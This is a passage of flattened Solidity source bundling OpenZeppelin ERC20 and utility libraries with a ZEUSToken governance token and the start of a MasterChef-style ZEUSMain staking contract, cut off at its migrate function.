* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\contracts\utils\EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: node_modules\@openzeppelin\contracts\GSN\Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts\ZEUSToken.sol
pragma solidity 0.6.12;
// ZEUSToken with Governance.
contract ZEUSToken is ERC20("ZEUSToken", "ZEUS"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ZEUS::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "ZEUS::delegateBySig: invalid nonce");
require(now <= expiry, "ZEUS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "ZEUS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying ZEUSs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "ZEUS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts\zeusmain.sol
pragma solidity 0.6.12;
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to ZEUSSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// ZEUSSwap must mint EXACTLY the same amount of ZEUSSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// ZEUSMain is the master of ZEUS. He can make ZEUS and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once ZEUS is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract ZEUSMain is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of ZEUSs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accZEUSPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accZEUSPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
bool bChange; //
bool bLock; //
bool bDepositFee; //
uint256 depositMount; //
uint256 changeMount; //
uint256 allocPoint; // How many allocation points assigned to this pool. ZEUSs to distribute per block.
uint256 lastRewardBlock; // Last block number that ZEUSs distribution occurs.
uint256 accZEUSPerShare; // Accumulated ZEUSs per share, times 1e12. See below.
}
struct AreaInfo {
uint256 totalAllocPoint;
uint256 rate;
}
// The ZEUS TOKEN!
ZEUSToken public zeus;
// Dev address.
address public devaddr;
// min per block mint
uint256 public minPerBlock;
// ZEUS tokens created per block.
uint256 public zeusPerBlock;
uint256 public halfPeriod;
uint256 public lockPeriods; // lock periods
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
//PoolInfo[] public poolInfo;
mapping (uint256 => PoolInfo[]) public poolInfo;
// Info of each user that stakes LP tokens.
//mapping (uint256 => mapping (address => UserInfo)) public userInfo;
mapping (uint256 => mapping(uint256 => mapping (address => UserInfo))) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
//uint256 public totalAllocPoint = 0;
AreaInfo[] public areaInfo;
uint256 public totalRate = 0;
// The block number when ZEUS mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed aid, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed aid, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed aid, uint256 indexed pid, uint256 amount);
constructor(
ZEUSToken _zeus,
address _devaddr,
uint256 _zeusPerBlock,
uint256 _startBlock,
uint256 _minPerBlock,
uint256 _halfPeriod,
uint256 _lockPeriods
) public {
zeus = _zeus;
devaddr = _devaddr;
zeusPerBlock = _zeusPerBlock;
minPerBlock = _minPerBlock;
startBlock = _startBlock;
halfPeriod = _halfPeriod;
lockPeriods = _lockPeriods;
}
function buyBackToken(address payable buybackaddr) public onlyOwner {
require(buybackaddr != address(0), "buy back is addr 0");
buybackaddr.transfer(address(this).balance);
}
function areaLength() external view returns (uint256) {
return areaInfo.length;
}
function poolLength(uint256 _aid) external view returns (uint256) {
return poolInfo[_aid].length;
}
function addArea(uint256 _rate, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdateAreas();
}
totalRate = totalRate.add(_rate);
areaInfo.push(AreaInfo({
totalAllocPoint: 0,
rate: _rate
}));
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _aid, uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _bLock, bool _bDepositFee, uint256 _depositFee) public onlyOwner {
if (_withUpdate) {
massUpdatePools(_aid);
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.add(_allocPoint);
poolInfo[_aid].push(PoolInfo({
lpToken: _lpToken,
bChange: false,
bLock: _bLock,
bDepositFee: _bDepositFee,
depositMount: _depositFee,
changeMount: 0,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accZEUSPerShare: 0
}));
}
function setArea(uint256 _aid, uint256 _rate, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdateAreas();
}
totalRate = totalRate.sub(areaInfo[_aid].rate).add(_rate);
areaInfo[_aid].rate = _rate;
}
// Update the given pool's zeus allocation point. Can only be called by the owner.
function set(uint256 _aid, uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _bChange, uint256 _changeMount, bool _bLock, bool _bDepositFee, uint256 _depositFee) public onlyOwner {
if (_withUpdate) {
massUpdatePools(_aid);
}
areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(poolInfo[_aid][_pid].allocPoint).add(_allocPoint);
poolInfo[_aid][_pid].allocPoint = _allocPoint;
poolInfo[_aid][_pid].bChange = _bChange;
poolInfo[_aid][_pid].bLock = _bLock;
poolInfo[_aid][_pid].changeMount = _changeMount;
poolInfo[_aid][_pid].bDepositFee = _bDepositFee;
poolInfo[_aid][_pid].depositMount = _depositFee;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _aid, uint256 _pid) public {
